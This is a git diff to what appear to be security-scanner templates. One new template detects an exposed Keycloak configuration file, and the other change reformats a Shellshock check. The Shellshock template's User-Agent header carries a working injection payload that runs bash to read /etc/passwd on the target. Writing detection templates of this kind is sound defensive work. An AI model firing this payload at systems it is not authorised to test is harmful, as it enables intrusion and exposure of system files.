diff --git a/exposures/files/keycloak-json.yaml b/exposures/files/keycloak-json.yaml
new file mode 100644
index 0000000000..31e0c989de
--- /dev/null
+++ b/exposures/files/keycloak-json.yaml
@@ -0,0 +1,23 @@
+id: keycloak-json
+info:
+  name: Keycloak Json File
+  author: oppsec
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/keycloak.json"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - realm
+          - resource
+          - auth-server-url
+        condition: and
+
+      - type: status
+        status:
+          - 200
diff --git a/vulnerabilities/other/rce-shellshock-user-agent.yaml b/vulnerabilities/other/rce-shellshock-user-agent.yaml
index 692c9c0fa5..69c2eaf5e4 100644
--- a/vulnerabilities/other/rce-shellshock-user-agent.yaml
+++ b/vulnerabilities/other/rce-shellshock-user-agent.yaml
@@ -7,13 +7,13 @@ info:
   tags: shellshock,rce
 
 requests:
- - method: GET
-   headers:
-    User-Agent: "() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'"
-   path:
-    - "{{BaseURL}}/cgi-bin/status"
-   matchers:
-    - type: regex
-      regex:
-       - "root:[x*]:0:0"
-      part: body
+  - method: GET
+    headers:
+      User-Agent: "() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'"
+    path:
+      - "{{BaseURL}}/cgi-bin/status"
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
\ No newline at end of file